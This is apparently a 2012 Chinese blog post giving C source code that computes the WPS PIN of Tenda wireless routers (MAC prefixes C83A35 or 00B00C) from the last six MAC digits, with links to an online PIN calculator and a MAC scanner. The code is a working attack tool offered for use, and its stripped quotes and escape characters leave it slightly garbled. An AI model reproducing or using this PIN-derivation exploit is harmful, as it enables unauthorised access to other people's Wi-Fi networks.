A-A+

已知MAC计算PIN程序 C 程序源码

2012年09月20日 综合技术 暂无评论 阅读 4,194 次

//Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.
//Coded by Zhaochunsheng - iBeini.com
//Modified by Lingxi - WiFiBETA.COM

#include <stdio.h>
#include <stdlib.h>

int main()
{

unsigned int wps_pin_checksum(unsigned int pin);
int PIN = 0;

//printf(ComputePIN-C83A35n);
printf(Description:n);
printf(If your wireless router MAC address start with C83A35 or 0B00C,n);
printf(type the other six digits, you might be able to get the n);
printf(WPS-PIN of this equipment, please have a try, good luck!nn);
printf(Code by ZhaoChunsheng 04/07/2012 http://iBeini.comnn);
printf(Modified by Lingxi - WiFiBETA.COMnn);
//Translated to Chinese
printf(说明:n);
printf(如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头,n);
printf(输入后六位MAC地址(不分大小写)您或许可以获得该路由的WPS PIN密钥!n);
printf(祝你好运!nn);
printf(由赵春生编写于2012年4月7日 Http://iBeini.comn);
printf(由灵曦修改并汉化 WiFiBETA.COMnn);
printf(请输入后六位MAC地址(HEX):n);
printf(Input the last 6 digits of MAC Address(HEX):);
scanf(%x,amp;PIN);
printf(您输入的后六位MAC地址是 %Xn,PIN);
printf(Last 6 digits of MAC Address(HEX) are: %Xn,PIN);
printf(WPS PIN is: %07d%dn,PIN%10000000,wps_pin_checksum(PIN%10000000));

return 0;
}

unsigned int wps_pin_checksum(unsigned int pin)
{
unsigned int accum = 0;
while (pin)
{
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}
return (10 - accum % 10) % 10;

}

在线计算PIN码:http://www.yanghengfei.com/demo/wifi/pin.php
局域网MAC地址扫描器:http://www.yanghengfei.com/demo/wifi/WirelessMon.rar
标签:

给我留言